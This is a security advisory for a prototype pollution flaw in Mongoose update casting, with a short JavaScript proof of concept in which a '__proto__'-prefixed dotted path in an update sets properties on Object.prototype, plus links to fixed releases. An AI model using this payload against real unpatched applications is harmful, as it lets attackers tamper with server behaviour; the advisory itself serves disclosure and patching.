GHSA-664h-wqgq-64gw: Mongoose: Prototype pollution in mongoose update casting via __proto__-prefixed dotted path (Schema._getSchema/path getter)
(updated )
What kind of vulnerability is it? Who is impacted?
Prototype pollution in update casting: passing a user-controlled update to a Mongoose update, like MyModel.updateOne(filter, req.body), can cause Mongoose to set $fullPath and $parentSchemaDocArray on Object.prototype.
Example:
const mongoose = require('mongoose');
console.log('before:', Object.prototype.$fullPath); // undefined
const User = mongoose.model('User', new mongoose.Schema({ name: String }));
const malicious = JSON.parse('{"$set": {"__proto__.x": "anything"}}'); // attacker-controlled update
const q = User.updateOne({}, {});
try { q._castUpdate(malicious); } catch (e) { /* throws AFTER the pollution side-effect */ }
console.log('after :', Object.prototype.$fullPath); // "__proto__"
console.log('enumerable:', Object.prototype.propertyIsEnumerable('$fullPath')); // true
console.log('fresh {}:', ({}).$fullPath); // "__proto__"
References
- github.com/Automattic/mongoose/commit/f494b8430f9097fc70446d6949c8a42a27518e0b
- github.com/Automattic/mongoose/pull/16230
- github.com/Automattic/mongoose/releases/tag/6.13.10
- github.com/Automattic/mongoose/releases/tag/7.8.10
- github.com/Automattic/mongoose/releases/tag/8.24.1
- github.com/Automattic/mongoose/releases/tag/9.7.2
- github.com/Automattic/mongoose/security/advisories/GHSA-664h-wqgq-64gw
- github.com/advisories/GHSA-664h-wqgq-64gw
- nvd.nist.gov/vuln/detail/CVE-2026-73562
Code Behaviors & Features
Detect and mitigate GHSA-664h-wqgq-64gw with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →